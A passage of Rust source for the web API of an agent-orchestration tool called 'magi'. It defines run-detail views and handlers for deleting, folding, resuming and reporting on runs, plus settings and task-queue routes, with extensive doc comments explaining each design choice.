2581                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2582            let mut row = RunSummary::of(&state, waiting, live);
2583            row.superseded_by = superseded
2584                .get(&state.id)
2585                .map(String::as_str)
2586                .map(crate::run::short_of)
2587                .map(str::to_owned);
2588            row
2589        })
2590        .collect()
2591}
2592
2593/// A run as the detail route hands it to the phone.
2594///
2595/// The whole state, flattened, plus `instruction_md`: the Task panel renders
2596/// the instruction as markdown, and the raw `instruction` field this struct
2597/// still carries (unchanged) is what a client wanting the exact bytes reads
2598/// instead.
2599#[derive(Debug, Serialize)]
2600struct RunDetailView {
2601    #[serde(flatten)]
2602    state: RunState,
2603    instruction_md: Vec<md::Node>,
2604    /// Agent-written prose of the run, parsed to markdown nodes. Shapes
2605    /// mirror the records they come from, index for index; the raw strings
2606    /// stay in `state` and decide whether a block is shown at all.
2607    #[serde(flatten)]
2608    prose_md: RunProseMd,
2609    /// Whether a process is actually still driving this run: `"live"`,
2610    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
2611    ///
2612    /// `state.active` (flattened in above) is only ever cleared by the
2613    /// process that populated it; a killed one leaves its last wave's
2614    /// entries behind. Carrying this alongside is what lets the phone rail
2615    /// tell "this seat is still answering" from "this seat was still
2616    /// answering when whatever was driving this run died" without a second
2617    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
2618    /// proof of either. A string rather than a bool on purpose: a daemon
2619    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
2620    /// and neither proven is `"unknown"` — folding that third case into
2621    /// either end of a bool is exactly the wrong call for a phone screen an
2622    /// operator uses to decide whether to wait or to act.
2623    live: crate::run::Liveness,
2624    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
2625    /// alongside the flattened `state` rather than inside it, since
2626    /// `RunState` has no business knowing which of its own methods a caller
2627    /// wants serialized.
2628    unmerged_by_design: bool,
2629    /// Same field and meaning as [`RunSummary::done`]: whether the status is
2630    /// terminal. The client's `landView` keys on it, and the flattened state
2631    /// has no such field, so without it a finished run's stale `open` PR
2632    /// would be painted as live on the detail page.
2633    done: bool,
2634    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
2635    /// route fills it from [`Queue::superseded`], the detail route from
2636    /// [`Queue::superseded_by`], and both read the same underlying task
2637    /// order. Without this the detail page could only ever show a red
2638    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
2639    /// with nothing anywhere saying so — an operator opening it had no way
2640    /// to tell "this is done elsewhere" from "this still needs a retry".
2641    superseded_by: Option<String>,
2642    /// The task's current attempt, when this run is an older one — resolved
2643    /// from [`Queue::latest_attempt`] and this run's own state, not left for
2644    /// the client to derive.
2645    ///
2646    /// Three things a client cannot safely do on its own drove this onto the
2647    /// server: it has to name the chain's *current head*, not just the next
2648    /// attempt (`superseded_by` above), because an intermediate retry in a
2649    /// longer chain can itself still be unresolved; it has to resolve to a
2650    /// real id rather than a short id a client would have to guess a full id
2651    /// from, which is ambiguous the moment two runs share a suffix; and it
2652    /// has to read that head's own status directly, because whether a run
2653    /// list a client happens to have cached even contains that attempt
2654    /// depends on a page limit this route knows nothing about.
2655    latest_attempt: Option<LatestAttempt>,
2656    /// The queue task this run belongs to, so the detail page can link back
2657    /// to the task's own page. `None` for a run nobody queued (`magi run`).
2658    task: Option<TaskRef>,
2659    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
2660    /// run recorded before origins existed. `origin` itself (flattened in
2661    /// with `state`) is `null` in that case.
2662    origin_label: String,
2663}
2664
2665/// A task named from a run's detail page.
2666#[derive(Debug, Serialize)]
2667struct TaskRef {
2668    id: String,
2669    short: String,
2670    title: String,
2671    /// [`Source::label`], e.g. `chat@a1b2`.
2672    source_label: String,
2673    /// Where the task came from, when that place has a page; see [`source_link`].
2674    source_link: Option<SourceLink>,
2675    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
2676    status: &'static str,
2677    attempts: usize,
2678    max_attempts: usize,
2679    /// This run is the last entry of the task's run list.
2680    is_latest: bool,
2681    /// The task's newest run, when it is not this one.
2682    latest: Option<RunBrief>,
2683    /// The run that finished a `done` task (merged, or already in the base).
2684    finished_by: Option<RunBrief>,
2685    /// The task is `done` but no run on record finished it: closed by hand.
2686    closed_by_hand: bool,
2687}
2688
2689/// The page that filed a task, as the UI links to it.
2690#[derive(Debug, PartialEq, Eq, Serialize)]
2691struct SourceLink {
2692    /// `chat` (a conversation) or `run` (a run's node).
2693    kind: &'static str,
2694    /// The full id, never the short one in the label.
2695    id: String,
2696    /// The hash route that opens it.
2697    href: String,
2698}
2699
2700/// Percent-encode everything outside the URL-unreserved set.
2701fn encode_segment(raw: &str) -> String {
2702    let mut out = String::with_capacity(raw.len());
2703    for b in raw.bytes() {
2704        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
2705            out.push(b as char);
2706        } else {
2707            out.push_str(&format!("%{b:02X}"));
2708        }
2709    }
2710    out
2711}
2712
2713/// The one place that decides where a task's source links to. A chat
2714/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
2715/// a person or an imported issue has no page, so no link.
2716fn source_link(source: &Source) -> Option<SourceLink> {
2717    let Source::Agent { run, node } = source else {
2718        return None;
2719    };
2720    let (kind, route) = if node == crate::queue::CHAT_NODE {
2721        ("chat", "chat")
2722    } else {
2723        ("run", "runs")
2724    };
2725    Some(SourceLink {
2726        kind,
2727        id: run.clone(),
2728        href: format!("#/{route}/{}", encode_segment(run)),
2729    })
2730}
2731
2732/// Another run of the same task, as named from a run's detail page.
2733#[derive(Debug, Serialize)]
2734struct RunBrief {
2735    id: String,
2736    short: String,
2737    /// `None` when the run's record cannot be read.
2738    status: Option<&'static str>,
2739    /// The task-page wording for how that pass ended.
2740    outcome: String,
2741}
2742
2743/// The task's overall outcome as seen from `this_run`'s page, classified with
2744/// the same exits the task page's flowchart uses.
2745fn task_outcome(
2746    task: &Task,
2747    this_run: &str,
2748    max_attempts: usize,
2749    read: impl Fn(&str) -> Option<RunState>,
2750) -> TaskRef {
2751    let history = task_history(task, read);
2752    let brief = |h: &TaskRunView| RunBrief {
2753        id: h.id.clone(),
2754        short: h.short.clone(),
2755        status: h.status,
2756        outcome: h.exit.edge_label(h.status),
2757    };
2758    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
2759    let latest = if is_latest {
2760        None
2761    } else {
2762        history.last().map(brief)
2763    };
2764    let done = task.status == TaskStatus::Done;
2765    let finished_by = done
2766        .then(|| {
2767            history
2768                .iter()
2769                .rev()
2770                .find(|h| {
2771                    matches!(
2772                        h.exit,
2773                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
2774                    )
2775                })
2776                .map(brief)
2777        })
2778        .flatten();
2779    TaskRef {
2780        short: task.short().to_owned(),
2781        title: task.title.clone(),
2782        id: task.id.clone(),
2783        source_label: task.source.label(),
2784        source_link: source_link(&task.source),
2785        status: task.status.as_str(),
2786        attempts: task.attempts,
2787        max_attempts,
2788        is_latest,
2789        latest,
2790        closed_by_hand: done && finished_by.is_none(),
2791        finished_by,
2792    }
2793}
2794
2795/// The task's current attempt, as seen from an older one's detail page.
2796#[derive(Debug, Serialize)]
2797struct LatestAttempt {
2798    id: String,
2799    short: String,
2800    /// Whether this attempt itself settled with a result nobody needs to
2801    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
2802    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
2803    /// unconfirmed claim that no change was needed, which is exactly why it
2804    /// settles the task through `Held` rather than `Done` and still waits on
2805    /// a human to check the evidence; showing an older run as "finished
2806    /// elsewhere" on the strength of an unverified claim would bury the
2807    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
2808    /// in-flight status are excluded because they are exactly the
2809    /// unresolved states this field exists to tell apart from a real finish.
2810    resolved: bool,
2811    /// The attempt's own recorded status, so the page can say where it
2812    /// stands while it is not resolved yet.
2813    status: RunStatus,
2814    /// Whether that status is terminal (nothing is still running it).
2815    done: bool,
2816}
2817
2818/// Markdown for the free-text prose of a run, parallel to `RunState`.
2819#[derive(Debug, Default, Serialize)]
2820struct RunProseMd {
2821    /// `None` when the run has no design deliberation.
2822    advice_md: Option<AdviceMd>,
2823    /// One entry per candidate: the summary.
2824    candidate_summaries_md: Vec<Vec<md::Node>>,
2825    /// One entry per review round, in `reviews` order.
2826    reviews_md: Vec<RoundMd>,
2827}
2828
2829#[derive(Debug, Default, Serialize)]
2830struct AdviceMd {
2831    synthesis: Vec<md::Node>,
2832    /// One per record; empty for a seat with no proposal.
2833    approaches: Vec<Vec<md::Node>>,
2834}
2835
2836#[derive(Debug, Default, Serialize)]
2837struct RoundMd {
2838    /// One per reviewer record.
2839    reviewers: Vec<ReviewerMd>,
2840    /// One per `reconsideration` entry: the reason.
2841    reconsideration: Vec<Vec<md::Node>>,
2842    fix: Option<FixMd>,
2843}
2844
2845#[derive(Debug, Default, Serialize)]
2846struct ReviewerMd {
2847    summary: Vec<md::Node>,
2848    /// One per finding, in recorded order (not the display order).
2849    findings: Vec<Vec<md::Node>>,
2850}
2851
2852#[derive(Debug, Default, Serialize)]
2853struct FixMd {
2854    notes: Vec<md::Node>,
2855    /// One per rejection: the argument.
2856    rejected: Vec<Vec<md::Node>>,
2857}
2858
2859/// Parse a run's agent-written prose; a pure function of the state.
2860fn run_prose_md(state: &RunState) -> RunProseMd {
2861    let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
2862    RunProseMd {
2863        advice_md: state.advice.as_ref().map(|a| AdviceMd {
2864            synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
2865            approaches: a
2866                .records
2867                .iter()
2868                .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
2869                .collect(),
2870        }),
2871        candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
2872        reviews_md: state
2873            .reviews
2874            .iter()
2875            .map(|round| RoundMd {
2876                reviewers: round
2877                    .reviews
2878                    .iter()
2879                    .map(|rec| ReviewerMd {
2880                        summary: nodes(&rec.summary),
2881                        findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
2882                    })
2883                    .collect(),
2884                reconsideration: round
2885                    .reconsideration
2886                    .iter()
2887                    .map(|rv| nodes(&rv.reason))
2888                    .collect(),
2889                fix: round.fix.as_ref().map(|fix| FixMd {
2890                    notes: nodes(&fix.notes),
2891                    rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
2892                }),
2893            })
2894            .collect(),
2895    }
2896}
2897
2898impl RunDetailView {
2899    fn of(
2900        state: RunState,
2901        live: crate::run::Liveness,
2902        superseded_by: Option<String>,
2903        latest_attempt: Option<LatestAttempt>,
2904        task: Option<TaskRef>,
2905    ) -> Self {
2906        Self {
2907            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2908            prose_md: run_prose_md(&state),
2909            origin_label: crate::run::origin_label(state.origin.as_ref()),
2910            live,
2911            unmerged_by_design: state.unmerged_by_design(),
2912            done: state.status.done(),
2913            superseded_by,
2914            latest_attempt,
2915            task,
2916            state,
2917        }
2918    }
2919}
2920
2921async fn run_detail(
2922    State(ui): State<Arc<Ui>>,
2923    Path(id): Path<String>,
2924) -> ApiResult<Json<RunDetailView>> {
2925    blocking(move || {
2926        let id = resolve_run(&ui.runs, &id)?;
2927        let state = read_run(&ui.runs, &id)?;
2928        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2929        let live = state.liveness(daemon_claims);
2930        let superseded_by = ui
2931            .queue
2932            .superseded_by(&id)
2933            .as_deref()
2934            .map(crate::run::short_of)
2935            .map(str::to_owned);
2936        // Best-effort: an unreadable head (mid-write, or deleted) just means
2937        // this run's own status stands on its own, same as no later attempt
2938        // existing at all.
2939        let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
2940            read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
2941                short: head.short().to_owned(),
2942                resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
2943                status: head.status,
2944                done: head.status.done(),
2945                id: head.id,
2946            })
2947        });
2948        let max_attempts = daemon::Opts::default().max_attempts;
2949        let task = ui
2950            .queue
2951            .list()
2952            .into_iter()
2953            .find(|t| t.runs.contains(&id))
2954            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
2955        Ok(Json(RunDetailView::of(
2956            state,
2957            live,
2958            superseded_by,
2959            latest_attempt,
2960            task,
2961        )))
2962    })
2963    .await
2964}
2965
2966/// `DELETE /api/runs/{id}`.
2967///
2968/// Remove a finished, folded run directory along with its artifacts.
2969/// Running runs and runs with unfolded candidate worktrees/branches cannot be
2970/// deleted. This never touches git worktrees or branches - except for a run
2971/// whose state this build cannot read at all, where there is no candidate
2972/// list to check and the wholesale removal `magi fold` already uses for that
2973/// case is the only meaningful "delete".
2974async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2975    let (id, unreadable) = {
2976        let ui = Arc::clone(&ui);
2977        blocking(move || {
2978            let id = resolve_run(&ui.runs, &id)?;
2979            match read_run(&ui.runs, &id) {
2980                Ok(state) => {
2981                    let in_flight =
2982                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2983                    state
2984                        .ensure_can_delete(in_flight)
2985                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2986                    let dir = ui.runs.join(&id);
2987                    std::fs::remove_dir_all(&dir)
2988                        .with_context(|| format!("remove run directory {}", dir.display()))?;
2989                    Ok((id, false))
2990                }
2991                Err(_) => {
2992                    // Unreadable: there is no candidate list to guard on, so
2993                    // a live daemon's claim is the only thing left to check -
2994                    // the same rule `run_fold` applies for the same reason.
2995                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2996                        return Err(ApiError::conflict(format!(
2997                            "run {id} is being worked on by a live daemon right now"
2998                        )));
2999                    }
3000                    Ok((id, true))
3001                }
3002            }
3003        })
3004        .await?
3005    };
3006    if unreadable {
3007        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3008            .await
3009            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3010    }
3011    let ui = Arc::clone(&ui);
3012    let done = id.clone();
3013    blocking(move || {
3014        // The agent that asked died with the run, so an open question would
3015        // keep asking the operator for a decision nobody can deliver.
3016        ui.questions.abandon_for_run(
3017            &done,
3018            &format!("run {done} was deleted, so nothing is waiting for this answer"),
3019        )?;
3020        Ok(())
3021    })
3022    .await?;
3023    Ok(StatusCode::NO_CONTENT)
3024}
3025
3026/// `POST /api/runs/{id}/fold`.
3027///
3028/// Remove a run's candidate worktrees and branches, keeping its record.
3029///
3030/// This exists because the deck answered "delete this run" with *"Candidates
3031/// must be folded before deleting. Run `magi fold` first."* — a phone being
3032/// told to open a terminal, in the one product whose point is that it does
3033/// not need one. The runs an operator most wants gone are the stalled and
3034/// blocked ones, and those are exactly the runs still holding worktrees:
3035/// three of them here held 53 GB.
3036///
3037/// The winner's tree goes too. A fold is what someone asks for when they are
3038/// finished with a run, and leaving one tree behind would leave the delete
3039/// button disabled for the same reason as before.
3040///
3041/// Refused while a live daemon is working on the run, on the rule that guards
3042/// deletion: folding underneath a running agent would pull the tree it is
3043/// editing out from under it.
3044///
3045/// A run whose state this build cannot read at all falls back to
3046/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
3047/// selectively, so the whole record's worktree goes wholesale, exactly what
3048/// `magi fold` does on the command line for the same run.
3049async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3050    let (id, state) = {
3051        let ui = Arc::clone(&ui);
3052        blocking(move || {
3053            let id = resolve_run(&ui.runs, &id)?;
3054            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3055                return Err(ApiError::conflict(format!(
3056                    "run {id} is being worked on by a live daemon right now"
3057                )));
3058            }
3059            let state = read_run(&ui.runs, &id).ok();
3060            Ok((id, state))
3061        })
3062        .await?
3063    };
3064    let removed = match state {
3065        Some(mut state) => {
3066            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3067                .await
3068                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3069            // Nothing left to remove is not the same thing as nothing left to
3070            // do — see `clean::clear_abandoned_active`'s own doc for the run
3071            // this exists for: worktrees already gone, but a killed process
3072            // left active seats nobody will ever answer for.
3073            if removed.is_empty() {
3074                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3075                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3076            }
3077            removed
3078        }
3079        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3080            .await
3081            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3082    };
3083    Ok(Json(FoldView {
3084        run: id,
3085        removed_count: removed.len(),
3086        removed,
3087    }))
3088}
3089
3090/// What a fold took away, so the deck can say so rather than only re-render.
3091#[derive(Debug, Serialize)]
3092struct FoldView {
3093    run: String,
3094    /// Worktree paths and branch names removed, in the order they went.
3095    removed: Vec<String>,
3096    removed_count: usize,
3097}
3098
3099/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
3100/// merged outside of `land::land`'s own loop.
3101#[derive(Debug, Deserialize)]
3102struct FoldMergedBody {
3103    #[serde(default)]
3104    pr_url: String,
3105}
3106
3107/// `POST /api/runs/{id}/fold-merged`.
3108///
3109/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
3110/// `Blocked` with `merge: null` because magi never got as far as opening a
3111/// pull request of its own (a title over GitHub's length limit, `gh pr
3112/// create` unreachable, a stale token), which the operator then finished by
3113/// hand on a pull request magi never recorded. The "Run actions" sheet used
3114/// to have no way to tell it about that pull request short of a terminal and
3115/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
3116/// this exists and what it deliberately does not do (`bump::after_merge`).
3117///
3118/// Refused, like [`run_fold`], while a live daemon is working on the run: the
3119/// correction rewrites the same `status`/`merge` fields a running graph would
3120/// be writing to on its own.
3121///
3122/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
3123/// calls plus a fold, seconds of work, and the phone should get its answer
3124/// (which pull request it recorded, and what changed) in the same round
3125/// trip rather than learning it from the change stream.
3126async fn run_fold_merged(
3127    State(ui): State<Arc<Ui>>,
3128    Path(id): Path<String>,
3129    Json(body): Json<FoldMergedBody>,
3130) -> ApiResult<Json<FoldMergedView>> {
3131    let pr_url = body.pr_url.trim().to_owned();
3132    if pr_url.is_empty() {
3133        return Err(ApiError::bad_request("pr_url is required"));
3134    }
3135    let (id, mut state) = {
3136        let ui = Arc::clone(&ui);
3137        blocking(move || {
3138            let id = resolve_run(&ui.runs, &id)?;
3139            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3140                return Err(ApiError::conflict(format!(
3141                    "run {id} is being worked on by a live daemon right now"
3142                )));
3143            }
3144            let state = read_run(&ui.runs, &id)?;
3145            Ok((id, state))
3146        })
3147        .await?
3148    };
3149    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3150        .await
3151        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3152    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3153        .await
3154        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3155    Ok(Json(FoldMergedView {
3156        run: id,
3157        before: before.as_str().to_owned(),
3158        after: after.as_str().to_owned(),
3159        removed,
3160    }))
3161}
3162
3163/// What [`run_fold_merged`] did, so the deck can say so.
3164#[derive(Debug, Serialize)]
3165struct FoldMergedView {
3166    run: String,
3167    /// `status` before the correction — normally `"blocked"`.
3168    before: String,
3169    /// `status` after — normally `"merged"`.
3170    after: String,
3171    /// Worktree paths and branch names the trailing fold removed.
3172    removed: Vec<String>,
3173}
3174
3175/// `POST /api/runs/{id}/resume`.
3176///
3177/// Carry a stalled run on from where it stopped, in the background.
3178///
3179/// A stalled card says "the work is kept" and used to offer no way to act on
3180/// that: the candidates are built and paid for, and continuing means re-asking
3181/// only the seats whose absence collapsed the panel. The alternative an
3182/// operator actually had was releasing the task, which competes three fresh
3183/// implementations against work that already exists.
3184///
3185/// **202, not 200.** A resume runs agents for minutes; holding the connection
3186/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
3187/// phone learns the outcome from the change stream.
3188///
3189/// Refused when the loop is running at all, not merely when it is on this run.
3190/// The scarce resource is the agent CLIs' quota, and a tap that quietly
3191/// started a second graph on top of whatever the loop is already driving —
3192/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
3193/// allows — would spend that quota twice over for no extra throughput.
3194async fn run_resume(
3195    State(ui): State<Arc<Ui>>,
3196    Path(id): Path<String>,
3197) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3198    let (id, state) = {
3199        let ui = Arc::clone(&ui);
3200        blocking(move || {
3201            let id = resolve_run(&ui.runs, &id)?;
3202            let state = read_run(&ui.runs, &id)?;
3203            Ok((id, state))
3204        })
3205        .await?
3206    };
3207    if let Some(to) = &state.released_to {
3208        return Err(ApiError::conflict(format!(
3209            "run {} can no longer be resumed: its worktree was released to run {}, which \
3210             took the branch over.",
3211            state.short(),
3212            crate::run::short_of(to)
3213        )));
3214    }
3215    if !state.status.resumable() {
3216        return Err(ApiError::conflict(format!(
3217            "run {} is `{}`, and only a stalled or blocked run can be resumed",
3218            state.short(),
3219            status_word(state.status)
3220        )));
3221    }
3222    // Refused whenever the loop is running anything at all, not merely when
3223    // it is on this run: a manual resume racing a loop-driven run over the
3224    // same agent quota is the thing this guard exists to prevent, whether
3225    // the loop's own concurrency is one run or several.
3226    if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3227        .into_iter()
3228        .next()
3229    {
3230        return Err(ApiError::conflict(format!(
3231            "the loop is running run {} right now; stop it first, or wait for \
3232             it to finish, before resuming a run by hand.",
3233            crate::run::short_of(&work.run)
3234        )));
3235    }
3236    let _resume = ui.begin_resume(&id)?;
3237
3238    // The same shape the list route returns, so the phone updates the card it
3239    // already has rather than learning a second schema for one button.
3240    let queued = RunSummary::of(
3241        &state,
3242        !ui.questions.open_for(&id).is_empty(),
3243        state.liveness(false),
3244    );
3245    let run = id.clone();
3246    tokio::spawn(async move {
3247        let _resume = _resume;
3248        match crate::graph::Runner::resume(&run) {
3249            Ok(mut runner) => {
3250                if let Err(e) = runner.execute().await {
3251                    tracing::warn!("resume of run {run} stopped: {e:#}");
3252                }
3253            }
3254            // The run's own record is what the phone reads; this line is for
3255            // the operator's terminal.
3256            Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3257        }
3258    });
3259    Ok((StatusCode::ACCEPTED, Json(queued)))
3260}
3261
3262async fn run_report(
3263    State(ui): State<Arc<Ui>>,
3264    Path(id): Path<String>,
3265) -> ApiResult<impl IntoResponse> {
3266    let text = blocking(move || {
3267        let id = resolve_run(&ui.runs, &id)?;
3268        // Colour is off for the whole process, set once in `serve`. Rendering
3269        // is CPU work over the full state, which is the other reason this is
3270        // not on the executor.
3271        let state = read_run(&ui.runs, &id)?;
3272        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3273        let live = state.liveness(daemon_claims);
3274        Ok(format!(
3275            "{}{}",
3276            report::run(&state),
3277            report::active_seats(&state, live)
3278        ))
3279    })
3280    .await?;
3281    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3282}
3283
3284/// The structured twin of [`run_report`]: the same state, as sections the UI
3285/// draws as cards. An unreadable run answers with the same error the text
3286/// route does; it is never turned into an empty report.
3287async fn run_report_json(
3288    State(ui): State<Arc<Ui>>,
3289    Path(id): Path<String>,
3290) -> ApiResult<Json<crate::report_view::RunReportView>> {
3291    let view = blocking(move || {
3292        let id = resolve_run(&ui.runs, &id)?;
3293        let state = read_run(&ui.runs, &id)?;
3294        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3295        Ok(crate::report_view::build(
3296            &state,
3297            state.liveness(daemon_claims),
3298        ))
3299    })
3300    .await?;
3301    Ok(Json(view))
3302}
3303
3304/// A task as the UI sees it.
3305///
3306/// The whole task, plus the two things the client would otherwise have to
3307/// reimplement: the human-readable source and the status string. Nothing is
3308/// removed - the phone shows `last_error` and the run history verbatim.
3309#[derive(Debug, Serialize)]
3310struct TaskView {
3311    #[serde(flatten)]
3312    task: Task,
3313    source_label: String,
3314    source_link: Option<SourceLink>,
3315    status_str: &'static str,
3316    /// The instruction, parsed as markdown, for the Queue card's "Full
3317    /// instruction" panel. `task.instruction` is unchanged and still carries
3318    /// the raw text.
3319    instruction_md: Vec<md::Node>,
3320    /// For a blocked task, what it waits on with each dependency's state, e.g.
3321    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
3322    /// recurses; empty for every other status.
3323    waits_on: Vec<String>,
3324    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
3325    /// behind - non-empty means nothing in the loop will ever run it.
3326    stuck_roots: Vec<String>,
3327}
3328
3329impl From<Task> for TaskView {
3330    fn from(task: Task) -> Self {
3331        Self {
3332            source_label: task.source.label(),
3333            source_link: source_link(&task.source),
3334            status_str: task.status.as_str(),
3335            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3336            waits_on: Vec::new(),
3337            stuck_roots: Vec::new(),
3338            task,
3339        }
3340    }
3341}
3342
3343impl TaskView {
3344    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3345        let waits_on = inv.waits_on(&task);
3346        let stuck_roots = inv
3347            .stuck_roots(&task)
3348            .iter()
3349            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3350            .collect();
3351        Self {
3352            waits_on,
3353            stuck_roots,
3354            ..Self::from(task)
3355        }
3356    }
3357}
3358
3359/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
3360/// its absence, leaves the cache to decide.
3361#[derive(Debug, Default, Deserialize)]
3362#[serde(default)]
3363struct ReposQuery {
3364    refresh: u8,
3365}
3366
3367/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
3368/// listing `magi repos` prints at a terminal.
3369///
3370/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
3371/// so an edit to `magi.toml` takes effect without a restart, the same
3372/// reasoning [`config_for`] documents for the talk routes.
3373async fn repos_list(
3374    State(ui): State<Arc<Ui>>,
3375    Query(q): Query<ReposQuery>,
3376) -> ApiResult<Json<Vec<repos::Repo>>> {
3377    let refresh = q.refresh != 0;
3378    blocking(move || {
3379        let (cfg, _) = Config::discover(&ui.repo, None)?;
3380        Ok(Json(ui.repos_cache.list(
3381            &cfg.repos.roots,
3382            Duration::from_secs(cfg.repos.scan_ttl),
3383            refresh,
3384        )))
3385    })
3386    .await
3387}
3388
3389/// `GET /api/settings` - the effective role assignments and roster, with the
3390/// layer each came from. A config that fails to load answers 200 with an
3391/// `error`, so the screen can say so instead of drawing empty lists.
3392async fn settings_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<settings::SettingsView>> {
3393    blocking(move || Ok(Json(settings::view(&ui.repo, ui.machine_config.as_deref())))).await
3394}
3395
3396/// The body of `PUT /api/settings/roles`.
3397#[derive(Debug, Deserialize)]
3398#[serde(deny_unknown_fields)]
3399struct RolesBody {
3400    /// The `revision` the client last read.
3401    revision: String,
3402    /// Role key to its new ids; an empty list resets the key to its default.
3403    roles: std::collections::BTreeMap<String, Vec<String>>,
3404}
3405
3406/// `PUT /api/settings/roles` - save role assignments to the machine config.
3407///
3408/// The write target is `ui.machine_config` and nothing in the body can change
3409/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
3410/// 422 with the reason in words.
3411async fn settings_put_roles(
3412    State(ui): State<Arc<Ui>>,
3413    body: std::result::Result<Json<RolesBody>, JsonRejection>,
3414) -> ApiResult<Json<settings::SettingsView>> {
3415    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3416    blocking(move || {
3417        settings::save(
3418            &ui.repo,
3419            ui.machine_config.as_deref(),
3420            &body.revision,
3421            &body.roles,
3422        )
3423        .map(Json)
3424        .map_err(|e| match e {
3425            settings::SaveError::Conflict(m) => ApiError::conflict(m),
3426            settings::SaveError::Refused(m) => ApiError {
3427                status: StatusCode::UNPROCESSABLE_ENTITY,
3428                message: m,
3429            },
3430            settings::SaveError::Internal(m) => ApiError::internal(m),
3431        })
3432    })
3433    .await
3434}
3435
3436async fn queue_list(
3437    State(ui): State<Arc<Ui>>,
3438    Query(q): Query<ListQuery>,
3439) -> ApiResult<Json<Vec<TaskView>>> {
3440    blocking(move || {
3441        let tasks = ui.queue.list();
3442        let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
3443        Ok(Json(
3444            tasks
3445                .into_iter()
3446                .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
3447                .map(|t| TaskView::with_inventory(t, &inv))
3448                .collect(),
3449        ))
3450    })
3451    .await
3452}
3453
3454/// Most hits one search returns. The rest are counted in `total`.
3455const SEARCH_MAX_HITS: usize = 100;
3456/// Longest query, in characters, and most terms it is split into.
3457const SEARCH_MAX_QUERY: usize = 200;
3458const SEARCH_MAX_TERMS: usize = 8;
3459/// Characters of context kept before the first hit, and after it.
3460const SNIPPET_BEFORE: usize = 50;
3461const SNIPPET_AFTER: usize = 110;
3462
3463/// `?scope=runs|tasks&q=...`
3464#[derive(Debug, Deserialize)]
3465struct SearchQuery {
3466    #[serde(default)]
3467    scope: String,
3468    #[serde(default)]
3469    q: String,
3470}
3471
3472/// One piece of a snippet. `hit` pieces are what matched; the client renders
